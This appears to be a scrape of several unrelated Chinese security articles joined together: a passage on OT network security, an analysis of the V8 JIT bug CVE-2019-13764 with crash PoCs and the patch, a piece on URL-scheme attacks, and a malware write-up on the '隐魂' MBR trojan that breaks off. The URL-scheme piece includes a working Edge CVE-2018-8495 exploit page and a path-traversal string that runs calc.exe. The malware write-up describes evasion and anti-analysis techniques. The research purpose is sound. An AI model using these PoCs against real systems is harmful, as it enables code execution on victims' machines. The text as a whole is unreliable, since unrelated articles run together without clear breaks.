一旦黑客获知这些网络的重要性，设法去攻击，将造成巨大的破坏，勒索软件WannaCry和NotPetya就是在这种情况下肆意横行。黑客还知道如何以更巧妙的方式操纵OT网络，实施起来神不知鬼不觉，却可能摧毁公众的信任。例如，扰乱顶级制药公司的生产造成药品短缺，或篡改大型交通枢纽的物流工业机器，使贸易陷入中断。
OT网络对你的业务越重要，OT的安全性对业务运营成功就越重要。事实上，它在三个重要方面支持你的业务：
1）保持业务连续性
2）降低数字化转型的风险
3）安全的远程访问
让我们进一步探讨这些问题。
## 1\. 保持业务连续性
对于那些以OT网络为业务命脉的企业，当OT系统启动运行时，就会产生源源不断的收入，同时为客户带来价值。当不得不关闭并重新启动系统时，任何威胁可用性和正常运行的风险都可能对收益产生重大影响。
攻击者还可以设法使产品交付处于危险中，通过各种方法在产品中做出恶意的更改，例如控制机器以篡改配方，或污染生产过程中使用的供水等。最后，也是最重要的一点，OT环境通常包含安全系统，以便在发生机械故障时保护设施内或附近的人员。对这些威胁的视而不见可能对工人，他们的家庭，以及当地社区的生活造成毁灭性影响。
### **对策** ：
数十年来，OT网络一直是IT安全专业人员的盲点，而现在，解决IT-OT安全差距的紧迫性正在升级。由于OT网络没有现代化的安全控制措施，因此你有机会从头开始设计安全流程，而不必考虑现有的安全技术。
你可以优先考虑最重要的用例，并专注于获得OT环境的完整可见性。通过对所有资产、会话、流程和相应风险级别的全面掌握，可以识别网络中的威胁，以降低风险并确保关键流程的持续运行。
## 2\. 降低数字化转型带来的风险
数字化转型将持续进行，因为企业终将因此获益。将OT网络连接到IT系统以实现自动化和输入，已释放出巨大的业务价值——提高了运营效率，性能和服务质量。
最近，许多企业、机构将更多的业务过渡到互联网上，新冠疫情之后的新常态已经形成，数字化转型的步伐随之加速。随着企业不断增加其OT和IT网络之间的连接性，许多企业发现，由于OT和IT之间的根本差异，准确识别其工业环境中的风险是一件相当复杂且占用大量资源的事情，更别说降低风险了。
### **对策：**
作为一名安全专业人士，你可能会稳扎稳打进行战略布局，帮公司建立安全基础强大的IT网络，以支持公司的数字化转型。现在，你将有机会利用OT和IT网络之间的差异，在OT方面做同样的事情。
OT网络的设计是为了与IT组件进行通信和共享，包括但不限于它们运行的软件版本、固件、序列号等等。因此，OT网络流量提供了监视威胁所需的所有安全信息。借助可以快速实施的覆盖资产可见性和持续威胁监测的解决方案，你就开启了弥合IT-OT安全差距的道路。
## 3\. 安全的远程访问
OT网络的网络管理员需要为比以往多得多的人员提供安全的远程访问。除了通常签订远程服务合同的制造商外，他们大量需要支持远程的新用户。任何以前在现场工作，但现在在厂外工作的员工，都需要在线访问才能继续作业。以前提供生产优化等专业服务的第三方承包商，现在也需要远程访问相关设备，来履行合同并保持生产线的平稳运行。
### **对策：**
在远程办公的新常态下，每个企业都在减少现场工作人员，因此，需要保护OT网络免受远程用户（包括员工和第三方供应商）通过非托管和非监控访问带来的威胁。可以考虑提供控制粒度、审计访问能力以及其他安全级别（如密码保险存储、安全文件传输等）的解决方案，以帮助你降低风险。
尽管OT网络无处不在，但对于安全团队而言，它常常像一个黑匣子，根本没有遥测功能来观察和监测工业环境。当你的核心业务运营、数字化转型、员工的工作能力面临威胁时，有效的OT安全对策也必须如影随形，帮助企业稳定向前发展，并充分发挥潜力。
本文由 **安数网络** 编译整理，转载请注明出处。 | 社区文章 |
# CVE-2019-13764 TypeInductionVariablePhi in v8 JIT分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
* CVE-2019-13764 是 v8 中的一个位于 JIT TyperPhase `TypeInductionVariablePhi` 函数的漏洞。我们可以通过这个例子简单学习一下 TyperPhase 中对 InductionVariablePhi 的处理方式，以及越界读取构造方式。
* 复现用的 v8 版本为 `7.8.279.23`（chromium 78.0.3904.108） 。
## 二、环境搭建
* 切换 v8 版本，然后编译：
git checkout 7.8.279.23
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
* 启动 turbolizer。如果原先版本的 turbolizer 无法使用，则可以使用在线版本的 [turbolizer](https://v8.github.io/tools/head/turbolizer/index.html)
cd tools/turbolizer
npm i
npm run-script build
python -m SimpleHTTPServer 8000&
google-chrome http://127.0.0.1:8000
## 三、漏洞细节
* 在循环变量分析中，当initial_type 与 increment_type 相结合，则可以通过两个不同符号的无穷大相加产生NaN结果（即 **-inf + inf == NaN** ）。这将 **进入 turboFan 认为是 unreachable code 的代码区域** ，触发 SIGTRAP 崩溃。
* 以下是漏洞函数的源码：
Type Typer::Visitor::TypeInductionVariablePhi(Node* node) {
int arity = NodeProperties::GetControlInput(node)->op()->ControlInputCount();
DCHECK_EQ(IrOpcode::kLoop, NodeProperties::GetControlInput(node)->opcode());
DCHECK_EQ(2, NodeProperties::GetControlInput(node)->InputCount());
Type initial_type = Operand(node, 0);
Type increment_type = Operand(node, 2);
// We only handle integer induction variables (otherwise ranges
// do not apply and we cannot do anything).
// 检测 intial_type && increment_type 是否都是 integer 类型
if (!initial_type.Is(typer_->cache_->kInteger) ||
!increment_type.Is(typer_->cache_->kInteger)) {
// Fallback to normal phi typing, but ensure monotonicity.
// (Unfortunately, without baking in the previous type, monotonicity might
// be violated because we might not yet have retyped the incrementing
// operation even though the increment's type might been already reflected
// in the induction variable phi.)
// 如果不满足条件，则回退至保守的 phi typer。
Type type = NodeProperties::IsTyped(node) ? NodeProperties::GetType(node)
: Type::None();
for (int i = 0; i < arity; ++i) {
type = Type::Union(type, Operand(node, i), zone());
}
return type;
}
// ...
// Now process the bounds.
// 开始处理 bounds，获取最终的 min 和 max 值。
auto res = induction_vars_->induction_variables().find(node->id());
DCHECK(res != induction_vars_->induction_variables().end());
InductionVariable* induction_var = res->second;
InductionVariable::ArithmeticType arithmetic_type = induction_var->Type();
double min = -V8_INFINITY;
double max = V8_INFINITY;
/* 获取实际的 min 和 max。
其中
1. 对于循环是增量的情况（即increment_min >= 0）：
- min = initial_type.Min();
- max = std::min(max, bound_max + increment_max);
max = std::max(max, initial_type.Max());
2. 对于循环是减量的情况（即increment_max <= 0）：
- max = initial_type.Max();
- min = std::max(min, bound_min + increment_min);
min = std::min(min, initial_type.Min());
*/
// ...
return Type::Range(min, max, typer_->zone());
}
上述源码只是简单的判断了一下 initial_type 和 increment_type 的类型是否全为 Integer，如果不满足条件则使用保守的
typer；但这其中并没有判断出现 NaN 的情况，因此针对于某些 testcase 会产生问题。
* 当 initial value 为 **infinity** ， increment value 为 **-infinity** ，即类似于以下这种形式的循环：
for(let a = Infinity, a >= 1; a += (-Infinity)) {}
则在处理归纳变量 i 的phi结点时，由于 inital_type 和 increment_type 都是 integer
类型的，因此将不会回退至保守typer计算 type，而是继续向下执行。那么将会以下述过程执行至 return 语句，返回一个 `-inf ~
inf`的范围给当前的 InductionVariablePhi 结点：
> 具体的细节均以注释的形式写入代码中。
Type Typer::Visitor::TypeInductionVariablePhi(Node* node) {
// ...
// [1]. 初始时设置 min 值和 max 值为两个极端
double min = -V8_INFINITY;
double max = V8_INFINITY;
double increment_min;
double increment_max;
if (arithmetic_type == InductionVariable::ArithmeticType::kAddition) {
// [2]. 由于 JS 代码中的归纳变量执行的是加法操作，即 `i += (-Infinity)`，因此控制流进入此处
increment_min = increment_type.Min();
increment_max = increment_type.Max();
// 此时increment_min == increment_max = -inf
} else {
DCHECK_EQ(InductionVariable::ArithmeticType::kSubtraction, arithmetic_type);
increment_min = -increment_type.Max();
increment_max = -increment_type.Min();
}
if (increment_min >= 0) {
// ...
} else if (increment_max <= 0)
// [3]. 由于 increment_max == -inf，因此进入当前分支
// decreasing sequence
// 获取当前分支的最大值 max，该 max 值将在下面不再更改
// 此时 max == inf
max = initial_type.Max();
for (auto bound : induction_var->lower_bounds()) {
// [4]. 对于判断语句中的每个比较操作，即获取 bound类型和值
Type bound_type = TypeOrNone(bound.bound);
// If the type is not an integer, just skip the bound.
if (!bound_type.Is(typer_->cache_->kInteger)) continue;
// If the type is not inhabited, then we can take the initial value.
if (bound_type.IsNone()) {
min = initial_type.Min();
break;
}
// 对于上述例子，此时的 bound_min == bound_max = 1
double bound_min = bound_type.Min();
if (bound.kind == InductionVariable::kStrict) {
bound_min += 1;
}
// 设置min值，由于 max 函数的两个参数都与 -inf 相关，因此设置 min 为 -inf
min = std::max(min, bound_min + increment_min);
}
// The lower bound must be at most the initial value's lower bound.
// [5]. 由于 -inf < inf，因此再次设置 min 值为 -inf
min = std::min(min, initial_type.Min());
} else {
// Shortcut: If the increment can be both positive and negative,
// the variable can go arbitrarily far, so just return integer.
return typer_->cache_->kInteger;
}
// ...
// [6]. 返回 Range(-inf, inf)，即返回了一个错误的范围
return Type::Range(min, max, typer_->zone());
}
在 min 值的赋值处（即[4]、[5]），原先的代码预期 **min 值范围为**
initial_type.Min <= min <= bound_min + increment_type.Min
但由于 **initial_type.Min == inf；increment_type.Min == -inf** ，因此 min 值将沿以下链进行变化：
-inf(初始值) => -inf(bound_min+increment_min) => -inf(与initial value比较后的结果)
这样使得最终的 min 值为 -inf。
* 错误的 Phi 结点的 Range 将导致错误的类型传播。这样会使得控制流非常容易地进入 deopt 环节。该漏洞触发的 int3 断点就是位于编译生成的 JIT 代码中 deopt 环节内部。由于 turboFan 中传播了错误的类型，使得 deopt 无法识别出该调用的 deopt 函数，因此控制流将陷入死循环，频繁触发本不该执行到的 int3 断点。以下是 turboFan 第一次编译生成的汇编代码：
0x118a80d82e20 0 488d1df9ffffff REX.W leaq rbx,[rip+0xfffffff9]
0x118a80d82e27 7 483bd9 REX.W cmpq rbx,rcx
0x118a80d82e2a a 7418 jz 0x118a80d82e44 <+0x24>
0x118a80d82e2c c 48ba0000000036000000 REX.W movq rdx,0x3600000000
0x118a80d82e36 16 49ba803d5202157f0000 REX.W movq r10,0x7f1502523d80 (Abort) ;; off heap target
0x118a80d82e40 20 41ffd2 call r10
0x118a80d82e43 23 cc int3l
0x118a80d82e44 24 488b59e0 REX.W movq rbx,[rcx-0x20]
0x118a80d82e48 28 f6430f01 testb [rbx+0xf],0x1
0x118a80d82e4c 2c 740d jz 0x118a80d82e5b <+0x3b>
0x118a80d82e4e 2e 49bac0914602157f0000 REX.W movq r10,0x7f15024691c0 (CompileLazyDeoptimizedCode) ;; off heap target
0x118a80d82e58 38 41ffe2 jmp r10
0x118a80d82e5b 3b 55 push rbp
0x118a80d82e5c 3c 4889e5 REX.W movq rbp,rsp
0x118a80d82e5f 3f 56 push rsi
0x118a80d82e60 40 57 push rdi
0x118a80d82e61 41 48ba0000000022000000 REX.W movq rdx,0x2200000000
0x118a80d82e6b 4b 4c8b15c6ffffff REX.W movq r10,[rip+0xffffffc6]
0x118a80d82e72 52 41ffd2 call r10
0x118a80d82e75 55 cc int3l
---------------------------------------- Main Code ------------------------------------------------ 0x118a80d82e76 56 4883ec08 REX.W subq rsp,0x8
0x118a80d82e7a 5a 488975b0 REX.W movq [rbp-0x50],rsi
0x118a80d82e7e 5e 488b55d8 REX.W movq rdx,[rbp-0x28]
0x118a80d82e82 62 f6c201 testb rdx,0x1
0x118a80d82e85 65 0f859a000000 jnz 0x118a80d82f25 <+0x105>
0x118a80d82e8b 6b 48b90000000010270000 REX.W movq rcx,0x271000000000
0x118a80d82e95 75 483bd1 REX.W cmpq rdx,rcx
0x118a80d82e98 78 0f8c0b000000 jl 0x118a80d82ea9 <+0x89>
0x118a80d82e9e 7e 498b4520 REX.W movq rax,[r13+0x20] (root (undefined_value))
0x118a80d82ea2 82 488be5 REX.W movq rsp,rbp
0x118a80d82ea5 85 5d pop rbp
0x118a80d82ea6 86 c20800 ret 0x8
---------------------------------------- Deopt Code --------------------------------------------- 0x118a80d82ea9 89 493b65e0 REX.W cmpq rsp,[r13-0x20] (external value (StackGuard::address_of_jslimit()))
0x118a80d82ead 8d 0f8629000000 jna 0x118a80d82edc <+0xbc>
0x118a80d82eb3 93 48b979fa19a6632d0000 REX.W movq rcx,0x2d63a619fa79 ;; object: 0x2d63a619fa79 从此处开始进入循环
0x118a80d82ebd 9d 48bf39d619a6632d0000 REX.W movq rdi,0x2d63a619d639 ;; object: 0x2d63a619d639 value=0x2d63a619fa79 >
0x118a80d82ec7 a7 48394f17 REX.W cmpq [rdi+0x17],rcx
0x118a80d82ecb ab 0f8560000000 jnz 0x118a80d82f31 <+0x111>
0x118a80d82ed1 b1 493b65e0 REX.W cmpq rsp,[r13-0x20] (external value (StackGuard::address_of_jslimit()))
0x118a80d82ed5 b5 0f862a000000 jna 0x118a80d82f05 <+0xe5>
0x118a80d82edb bb cc int3l ;; 由于始终无法满足当前代码段的各个跳出循环的条件，因此将频繁触发此处的断点
0x118a80d82edc bc 48bb307ba501157f0000 REX.W movq rbx,0x7f1501a57b30 ;; external reference (Runtime::StackGuard)
0x118a80d82ee6 c6 33c0 xorl rax,rax
0x118a80d82ee8 c8 48be311818a6632d0000 REX.W movq rsi,0x2d63a6181831 ;; object: 0x2d63a6181831
0x118a80d82ef2 d2 49baa0de7302157f0000 REX.W movq r10,0x7f150273dea0 (CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit) ;; off heap target
0x118a80d82efc dc 41ffd2 call r10
0x118a80d82eff df 488b55d8 REX.W movq rdx,[rbp-0x28]
0x118a80d82f03 e3 ebae jmp 0x118a80d82eb3 <+0x93> ;; 跳转回上面的代码
0x118a80d82f05 e5 488b1dd2ffffff REX.W movq rbx,[rip+0xffffffd2]
0x118a80d82f0c ec 33c0 xorl rax,rax
0x118a80d82f0e ee 48be311818a6632d0000 REX.W movq rsi,0x2d63a6181831 ;; object: 0x2d63a6181831
0x118a80d82f18 f8 4c8b15d5ffffff REX.W movq r10,[rip+0xffffffd5]
0x118a80d82f1f ff 41ffd2 call r10
0x118a80d82f22 102 ebb7 jmp 0x118a80d82edb <+0xbb>
0x118a80d82f24 104 90 nop
0x118a80d82f25 105 49c7c500000000 REX.W movq r13,0x0 ;; debug: deopt position, script offset '170'
;; debug: deopt position, inlining id '-1'
;; debug: deopt reason 'not a Smi'
;; debug: deopt index 0
0x118a80d82f2c 10c e80ff10300 call 0x118a80dc2040 ;; eager deoptimization bailout
0x118a80d82f31 111 49c7c501000000 REX.W movq r13,0x1 ;; debug: deopt position, script offset '190'
;; debug: deopt position, inlining id '-1'
;; debug: deopt reason 'wrong call target'
;; debug: deopt index 1
0x118a80d82f38 118 e803f10300 call 0x118a80dc2040 ;; eager deoptimization bailout
0x118a80d82f3d 11d 49c7c502000000 REX.W movq r13,0x2 ;; debug: deopt position, script offset '152'
;; debug: deopt position, inlining id '-1'
;; debug: deopt reason '(unknown)'
;; debug: deopt index 2
0x118a80d82f44 124 e8f7f00700 call 0x118a80e02040 ;; lazy deoptimization bailout
0x118a80d82f49 129 49c7c503000000 REX.W movq r13,0x3 ;; debug: deopt position, script offset '37'
;; debug: deopt position, inlining id '0'
;; debug: deopt reason '(unknown)'
;; debug: deopt index 3
0x118a80d82f50 130 e8ebf00700 call 0x118a80e02040 ;; lazy deoptimization bailout
0x118a80d82f55 135 0f1f00 nop
* Issue 中给出的 Regress 单元测试文件如下（也可以称为PoC）：
function write(begin, end, step) {
for (var i = begin; i >= end; i += step) {
step = end - begin;
begin >>>= 805306382;
}
}
function bar() {
for (let i = 0; i < 10000; i++) {
write(Infinity, 1, 1);
}
}
%PrepareFunctionForOptimization(write);
%PrepareFunctionForOptimization(bar);
bar();
%OptimizeFunctionOnNextCall(bar);
bar();
成功触发 SIGTRAP：
查看Turbolizer，可以发现这个归纳变量 `i` 的范围为 `-inf ~ inf`
> 一个循环内部会有多个 Phi 结点，以PoC为例，由于变量begin、i、step的值分别从循环内部和循环外部的数据流流入，因此是 Phi 类型的结点。
详细输出如下。可以看到 bound_type、initial_type 以及 increment_type 的范围与我们所预期的相符，因为 bound
value 和 initial value 分别是传入 write 函数的 `1` 和 `Infinity`，而 increment value 为 $1
– inf = -inf$。但归纳变量 `i` 的范围却错误的设置为 `-inf ~ inf`，而不是 `inf ~ inf`。
同时我们还可以注意到此时的 `initial_type value + increment_type value = inf + (-inf) = NaN`
> 以下部分输出，是打patch后的输出结果。
* 理解完上面的漏洞原理后，我们便可以略微修改一下Poc，更加进一步的理解到其中的细节：
function write(step) {
step = -Infinity;
/*
initial_type range => inf ~ inf
bounds_type range => 1 ~ 1
increment_type range => -inf ~ inf
=> i range => -inf ~ inf
*/
for (var i = Infinity; i >= 1; i += -Infinity) {}
}
function bar() {
for (let i = 0; i < 10000; i++) {
write(1);
}
}
%PrepareFunctionForOptimization(write);
%PrepareFunctionForOptimization(bar);
bar();
%OptimizeFunctionOnNextCall(bar);
bar();
## 四、漏洞利用
* 笔者原本以为这样的漏洞有点鸡肋，但直到又遇上了这个漏洞的子漏洞 – [Issue 1051017: Security: Type inference issue in Typer::Visitor::TypeInductionVariablePhi](https://bugs.chromium.org/p/chromium/issues/detail?id=1051017)这里只简单的说一下，通过简单的绕过，我们可以使 InductionVariable 的值为 NaN，但 type 为 kInterger。这样就会导致 turboFan 推测的类型与实际类型不符。于是我们可以根据这个来编写 exp 达到 OOB 的目的。由于之前的补丁修改了 checkBounds 的优化机制，因此我们没有办法再通过优化 checkBounds 来进行越界读写。但我们可以利用 `ReduceJSCreateArray`的优化机制进行越界读写，具体原因是，该函数将使用 length 的 **推测值** 来分配 backing_store 的大小，但只会在运行时将 length 的 **运行时值** 赋值到该数组的 length 字段。如果 length 的 **推测值** 小于 **运行时值** ，那就可以进行 OOB。
* 更具体地细节可以进入上面 Isuue 链接中学习，由于 Issue 中利用细节较为详尽，因此此处不再赘述。
## 五、后记
* 漏洞修复见如下链接 – [revision](https://chromium.googlesource.com/v8/v8.git/+/b8b6075021ade0969c6b8de9459cd34163f7dbe1%5E%21/#F1)，其中增加了对 NaN 的检测。如果 initial_type 和 increment_type 相加后为 NaN ，则将当前分析回退至更保守的 Phi 类型处理。
> 需要注意的是，该补丁仍然没有包含所有可能的 NaN 情况。具体请看 [Issue 1051017: Security: Type inference
> issue in
> Typer::Visitor::TypeInductionVariablePhi](https://bugs.chromium.org/p/chromium/issues/detail?id=1051017)
@@ -847,13 +847,30 @@
DCHECK_EQ(IrOpcode::kLoop, NodeProperties::GetControlInput(node)->opcode());
DCHECK_EQ(2, NodeProperties::GetControlInput(node)->InputCount());
+ auto res = induction_vars_->induction_variables().find(node->id());
+ DCHECK(res != induction_vars_->induction_variables().end());
+ InductionVariable* induction_var = res->second;
+ InductionVariable::ArithmeticType arithmetic_type = induction_var->Type();
Type initial_type = Operand(node, 0);
Type increment_type = Operand(node, 2);
+ const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
+ increment_type.Is(typer_->cache_->kInteger);
// 增加了对 NaN 的判断
+ bool maybe_nan = false;
+ // The addition or subtraction could still produce a NaN, if the integer
+ // ranges touch infinity.
+ if (both_types_integer) {
+ Type resultant_type =
+ (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
+ ? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
+ : typer_->operation_typer()->NumberSubtract(initial_type,
+ increment_type);
+ maybe_nan = resultant_type.Maybe(Type::NaN());
+ }
+
// We only handle integer induction variables (otherwise ranges
// do not apply and we cannot do anything).
- if (!initial_type.Is(typer_->cache_->kInteger) ||
- !increment_type.Is(typer_->cache_->kInteger)) {
// 增加了对 NaN 的处理，对于 NaN 这种情况，使用保守方式进行处理。
+ if (!both_types_integer || maybe_nan) {
// Fallback to normal phi typing, but ensure monotonicity.
// (Unfortunately, without baking in the previous type, monotonicity might
// be violated because we might not yet have retyped the incrementing
@@ -874,12 +891,6 @@
}
// Now process the bounds.
- auto res = induction_vars_->induction_variables().find(node->id());
- DCHECK(res != induction_vars_->induction_variables().end());
- InductionVariable* induction_var = res->second;
- - InductionVariable::ArithmeticType arithmetic_type = induction_var->Type();
- double min = -V8_INFINITY;
double max = V8_INFINITY;
## 六、参考
* [Issue 1028863: v8: Wrong JIT code that triggers SIGTRAP at runtime](https://bugs.chromium.org/p/chromium/issues/detail?id=1028863)
* [Issue 1051017: Security: Type inference issue in Typer::Visitor::TypeInductionVariablePhi](https://bugs.chromium.org/p/chromium/issues/detail?id=1051017) | 社区文章 |
### URL scheme简介
URL scheme是什么？简单的说就是部分app应用会注册自定义自己的协议，通过访问这类协议来调用启动app。url
scheme的工作流程是：app在系统中注册url scheme项，当浏览器或其他支持url的应用访问 特定的 url scheme
时，在系统中查找相对应的url scheme项，从而启动该应用程序。基本上是各个平台的app都有。
#### 例如
`mailto:[email protected],thunder://xxxxx,tel:+18888888888,sms:18688886666,alipays://platformapi/startapp`等等。当然还包括还有常见的file、dict、ftp，不过这里想说的是各类app应用程序的url
scheme。
#### 格式
[scheme]://[host]/[path]?[query]
#### 使用场景
* 特定后缀名的文件启动程序
* 网页或者链接中的描点启动程序
### 案例
windows平台下URL scheme会在注册表中注册，具体可[参考](https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa767914\(v=vs.85\))
在注册表中像这样格式存在的
例如
HKEY_CLASSES_ROOT
test
(Default) = "URL:test Protocol"
URL Protocol = ""
DefaultIcon
(Default) = "test.exe,1"
shell
open
command
(Default) = "C:\Program Files\test\test.exe" "%1"
假设test.exe是注册的应用程序，%1是占位符启动参数。通过url传递参数给目标程序。双引号是为了避免参数中存在空格。这样的形式就很容易通过拼接参数出现命令注入了。
HKEY_CLASSES_ROOT 下不仅保存了伪协议的列表，还有文件扩展名的关联数据。事实上 Win32 程序处理本地文件和 url
的打开是类似的，甚至可以使用同一套 Win32 API —— ShellExecute(Ex) 。算上 ANSI 和 Unicode 的版本，一共 4
个函数。
打开文件
ShellExecuteW(NULL, L"open", L"c:\\test.txt", NULL, NULL , SW_SHOW );
打开链接
ShellExecuteW(NULL, L"open", L"https://www.baidu.com", NULL, NULL , SW_SHOW );
ShellExecute可以有利用的两个点：
传入 url，却被解析成本地路径而变成打开文件甚至运行可执行文件；
其次是关联命令行里包裹参数 "%1" 的双引号可以被闭合掉的。
www.baidu.com..\..\..\..\..\..\..\..\..\..\..\windows\system32\calc.exe
windows系统在运行框输入，利用多个跳转符，后面的windows\system32\calc.exe会被当成文件执行，运行即可弹出计算器，当年QQ的远程命令执行漏洞也是这个exp
### Edge 远程代码执行
edge(CVE-2018-8495)，2018年10月Edge的远程代码执行漏洞，利用了WSHFile协议，通过参数注入，造成远程代码执行。
查看\HKEY_CLASSES_ROOT\WSHFile\Shell\Open\Command的值
WSHFile是指向了wscript.exe，wscript.exe是windows的内置的脚本解释器，可以通过WSHFile去运行一个脚本。
具体可看其漏洞分析，最后构造的exp如下：
<a id="q" href='wshfile:test/../../WinSxS/AMD921~1.48_/SyncAppvPublishingServer.vbs" test test;calc;"'>test</a>
<script>
window.onkeydown=e=>{
window.onkeydown=z={};
q.click()
}
</script>
这是一个例子，还有更多的例子如Electron导致vscode、网易云命令执行的例子，可以看先前[分析](http://www.zerokeeper.com/vul-analysis/electron-remote-command-execution-vulnerability-cve20181000006.html)
### Android URL scheme
android上的Intent Scheme URLs攻击基于android浏览器桥梁间接实现Intend-Based攻击。可以读取文件或者启动调用的应用程序。
语法如下：
<script>location.href = "intent:mydata#Intent;action=myaction;type=text/plain;end"</script>
等价的java语法：
Intent intent = new Intent("myaction");
intent.setData(Uri.parse("mydata"));
intent.setType("text/plain");
例如：
<a href="intent:smsto:10000#Intent;action=android.intent.action.SENDTO;end">
发送短信
</a><br>
<a href="intent:#Intent;action=android.media.action.STILL_IMAGE_CAMERA;end">
打开相机
</a><br>
使用Intent Scheme就可以通过浏览器调用android上的应用。
还有一类就是第三方的URL Scheme，来启动android上的app。以打开某些网页会启动支付宝到抢红包界面为例
<html>
<script>
window.location.href='alipays://platformapi/startapp?saId=10000007&clientVersion=3.7.0.0718&qrcode=https%3A%2F%2Fqr.alipay.com%2Fc1x05309e4ttz2v7xrwrzcd%3F_s%3Dweb-other'
</script>
</html>
效果如下
只是这里的qrcode失效了，所以领取失败，换成自己的就可以了。
更进一步的就是之前的支付宝应用克隆，不过它除了伪协议，还利用了webview跨域，和APP的setAllowUniversalAccessFromFile
URLs值为true，导致File协议可跨域读取文件。具体分析可[参考](https://open.appscan.io/article-470.html)
### 总结
URL scheme是为了操作系统、浏览器、应用方便交互设计，但操作系统不同、URL
scheme功能不同，会导致存在安全问题。尤其是利用浏览器或者应用程序存在的漏洞，来攻击操作系统，扩大攻击面。
### 参考
* [从 CVE-2018-8495 看 PC 端 url scheme 的安全问题](https://paper.seebug.org/719/#0x02-url-scheme)
* [Electron 自定义协议命令注入（CVE-2018-1000006）分析和 Url Scheme 安全考古](https://xz.aliyun.com/t/1994)
* [Intent scheme URL attack](http://drops.xmd5.com/static/drops/papers-2893.html)
* [Aack Surface Extended by URL Schemes](https://conference.hitb.org/hitbsecconf2017ams/materials/D2T2%20-%20Yu%20Hong%20-%20Attack%20Surface%20Extended%20by%20URL%20Schemes.pdf)
* [cve-2018-8495-Microsoft Edge 远程命令执行-分析](https://xz.aliyun.com/t/2881)
* [应用克隆，从支付宝自动领红包链接谈起](https://www.freebuf.com/articles/terminal/160544.html) | 社区文章 |
# 【木马分析】史上反侦察力最强木马“隐魂”：撑起色情播放器百万推广陷阱
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**1 摘要**
近期，360安全中心紧急预警了一款感染MBR（磁盘主引导记录）的“隐魂”木马，该木马捆绑在大量色情播放器的安装包中诱导网民下载，入侵后劫持浏览器主页并安插后门实现远程控制。据统计，短短两周内，“隐魂”木马的攻击量已达上百万次，是迄今传播速度最快的MBR木马。
与疯狂的肆虐趋势相对应的，是“隐魂”木马超高的反侦察能力和极其复杂的制作技术：
从感染方式上来说，不同于恶意程序直接写入MBR的木马，“隐魂”入侵后选择了关机回调的方式伺机启动。电脑关闭前一刻是不少安全软件的监管盲区，“隐魂”就是趁这个空挡植入磁盘底层。同时，它还启动了多达5个白利用文件，以此与安全软件进行对抗。
从攻击手段上来说，“隐魂”木马使用了多个漏洞组合，这是在以往MBR木马中前所未见的。其中，于2015年曝光的老版本Adobe提权漏洞威力格外惊人，它能绕过不少安全软件直接在内核中执行任意代码，是黑客攻击的一个大杀器。
从反侦察能力上来说，“隐魂”可以说是迄今为止的集大成者，它的写入过程完全依靠驱动，不会留下任何落地驱动文件；它会通过RPC远程调用的方式创建进程，木马源头很难被追溯。更值得一提的是，“隐魂”的执行过程十分复杂，在每次写入动作之前，都会小心翼翼地检测电脑上是否存在网络抓包工具、进程监控工具、调试器、反汇编工具、虚拟机等，如果存在上述情况之一，就会即刻停止感染执行，很大程度上避免了被安全研究者逆向追踪。
“隐魂”的活跃量已经直逼暗云系列木马，复杂性和查杀难度则创造了史上新高。目前，360安全卫士已经率先拦截查杀了该木马，反病毒专家经过紧急分析，终于抓到了“隐魂”的狐狸尾巴，以下是对该木马的详细技术分析。
**2 感染分析**
**2.1 加载图片**
该安装包为一个播放器，带有一定播放功能，可能为二次打包的。
在运行该安装包后，会调用加载读取 释放出来的JPG图片。
验证图片完整性：
图1
然后将图片末尾数据拷贝到内存
图2
解密前数据为：
图3
判断进程调试信息后 异或0x93解密出代码：
图4
判断调试器信息代码为：
图5
**2.2 ShellCode1**
为异或 0x93后代码 代码大小为0x2d4。
异或后代码为：
图6
对应代码为：
图7
找Kernel32基地址
图8
而后申请内存 准备执行第二块ShellCode 大小为0x5800。
图9
调用第二块ShellCode：
图10
**2.3 ShellCode2**
入口处代码为：
图11
填充导入表 并检测内核调试器是否开启：
图12
检测内核调试：
图12(1)
对应结构体为：
图13
然后查找导入表中unzGetCurrentFileInfo64 挂钩：
图14
挂钩：
图15
等安装包后续 解压文件时候触发获取执行机会。
图16
获取额外数据 为第三块ShellCode并比对hash值是否一致，
然后调用自身函数解密数据 并拷贝ShellCode3到内存:
图17
而后设置安装CID环境变量值 并 IAT挂钩CreateProcessW。
图18
当安装进程创建时候 CreateProcessW IATHook被执行,恢复钩子 并执行第三块ShellCode。
图19
创建线程执行，并且对调试器隐藏线程创建,并将下载地址传入。
图20
执行入口点函数
图21
**2.4 ShellCode3**
ShellCode3为自定义的文件格式 类似于PE 自身实现文件导入表 重定位修正。
执行入口点：
图22
修正导入表：
图23
检测调试工具信息：
图24
其中 IsKdDebuggerEnabled 依然为 KUSER_SHARED_DATA 结构标志KdDebuggerEnabled是否为0。
检测常用工具软件：
图25
常用工具集合为 一旦发现便不再感染。
图26
接着检查下是否已经被感染 防止再次感染，并且读取之前设置的CID环境变量信息
图27
调用网络相关函数下载之前的URL网址感染包
图28
而后准备执行下载下来的第四块ShellCode。
申请执行内存：
图29
执行函数
图30
**2.5 ShellCode4**
执行：
图31
然后解压里面带的相关资源:
图32
解压执行先对文件进行校验:
图33
通过节点名查找资源信息:
图34
而后申请执行空间。尽可能申请高端地址, 将第一块执行文件(ShellCode5) 大小为 0x23810拷贝入内存准备执行 :
图35
执行
图36
**2.6 ShellCode5**
ShellCode5 为公共部分代码 用于加载NE文件 和修正导入表 ，并设置好参数
参数通过共享内存设置的。
获取Kernel32基地址 并且获取
LoadLibraryA，GetProcAddress，VirtualAlloc，VirtualFree函数地址。
图37
获取函数地址：
图38
Hash算法：
图39
而后申请执行内存 高端地址 为第六块Shellcode准备空间.
图40
而后设置调用参数
图41
而后将NE文件入口点设置在堆栈上 等函数返回后就执行第六块ShellCode
图42
**2.7 ShellCode6**
该部分模块主要为释放白利用模块 根据不同参数执行不同代码,
会检测调试器 对抗虚拟机,并且利用字体加载漏洞来加载驱动。
入口点函数为：
图43
在入口点会检测SMEP是否启用 为后续执行代码做准备
图44
Win7以下系统忽略该标志
图45
然后进入白利用相关文件释放 函数，该函数会读取SessionId 获取调试标志一旦检测到被调试就退出。
图46
